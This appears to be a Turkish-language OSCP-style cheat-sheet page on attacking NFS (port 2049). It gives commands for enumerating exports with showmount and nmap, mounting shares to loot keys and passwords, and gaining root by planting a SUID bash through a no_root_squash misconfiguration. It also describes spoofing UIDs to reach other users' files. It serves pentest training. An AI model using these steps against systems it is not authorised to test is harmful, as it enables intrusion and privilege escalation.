2049
NFS
linuxNFS export keşfi (showmount), mount ile dosya erişimi ve no_root_squash misconfig üzerinden SUID binary yerleştirerek yerel root'a yükselme.
┌──
Komutlar
showmount ✓ EXAM-SAFE
showmount -e {{RHOST}} Sunucunun export ettiği NFS paylaşımlarını ve izin verilen client'ları listeler. HackTricks — Pentesting NFS
nmap ✓ EXAM-SAFE
nmap -p111,2049 -sV --script nfs-showmount,nfs-ls,nfs-statfs {{RHOST}} NFS exportlarını, dosya listesini ve dosya sistemi istatistiklerini NSE ile çeker. Nmap NSE — nfs-showmount, nfs-ls
mount ✓ EXAM-SAFE # root
sudo mount -t nfs -o vers=3 {{RHOST}}:/export /mnt/nfs NFS paylaşımını yerel makineye mount eder (vers=3 çoğu OSCP makinesinde uyumlu). HackTricks — Pentesting NFS
mount ✓ EXAM-SAFE # root
sudo mount -t nfs -o vers=3,nolock {{RHOST}}:/home /mnt/nfs Kilit servisi yoksa nolock ile mount; home paylaşımından loot. HackTricks — Pentesting NFS
bash ✓ EXAM-SAFE # root
cp /bin/bash /mnt/nfs/rootbash; chmod +s /mnt/nfs/rootbash no_root_squash export'ta root olarak SUID bash yerleştirir (saldırgan tarafında root iken). HackTricks — NFS no_root_squash privesc
bash ✓ EXAM-SAFE user
/mnt/nfs/rootbash -p Hedef makinede (düşük yetkili shell'de) SUID bash'i -p ile çalıştırıp root elde eder. HackTricks — NFS no_root_squash privesc
Genel Bakış
NFS (2049/tcp, 111 portfmapper ile birlikte) yanlış yapılandırıldığında hem dosya sızıntısı hem de güçlü bir yerel privesc vektörü (no_root_squash) sunar.
Enumeration
showmount -e {{RHOST}}ile export edilen yolları ve hangi ağ/host’a açıldığını gör.*görüyorsan herkes mount edebilir.- NSE
nfs-ls/nfs-showmountile mount etmeden hızlı içerik fikri alınabilir.
Mount ve Loot
mount -t nfs -o vers=3ile bağlan; modern sunucuda vers=4 deneyebilirsin. Mount sonrası UID eşleşmesine dikkat: dosya sahibi UID’leri yerelde farklı kullanıcılara denk gelebilir.- Home/web/yedek paylaşımlarında SSH anahtarı, config ve parola ara.
no_root_squash Privesc (lnx-privesc-nfs)
Bu, OSCP’de klasik bir senaryodur:
/etc/exportsiçinde no_root_squash varsa, saldırgan makinende root olarak mount edilen paylaşıma yazdığın dosyaların sahibi de root olur.- Saldırgan tarafında root iken paylaşıma
/bin/bashkopyalayıp SUID bit ver. - Hedef makinedeki düşük yetkili shell’de aynı dosyayı
-pile çalıştır; effective UID root olur. UID 0 olarak yazabilmek için saldırgan makinende root olman gerekir (yereldesudo).
Gotchalar
- root_squash açıksa root UID’in nobody’ye düşürülür; bu durumda SUID hilesi çalışmaz, sadece okuma/yazma izinleri geçerlidir.
- Bazı exportlar
ro(read-only); yazma denemeden önce mount seçeneklerini kontrol et.
Pivot
- Mount edilen dosya sahiplerinden hedefteki kullanıcı UID’lerini eşleştirip, o UID ile yerel kullanıcı oluşturarak (saldırgan tarafında) ilgili kullanıcının dosyalarına erişebilirsin.
┌──
İlgili teknikler
┌──
Kaynaklar
↗ HackTricks — Pentesting NFSHackTricks — NFS no_root_squash privescNmap NSE — nfs-showmount, nfs-ls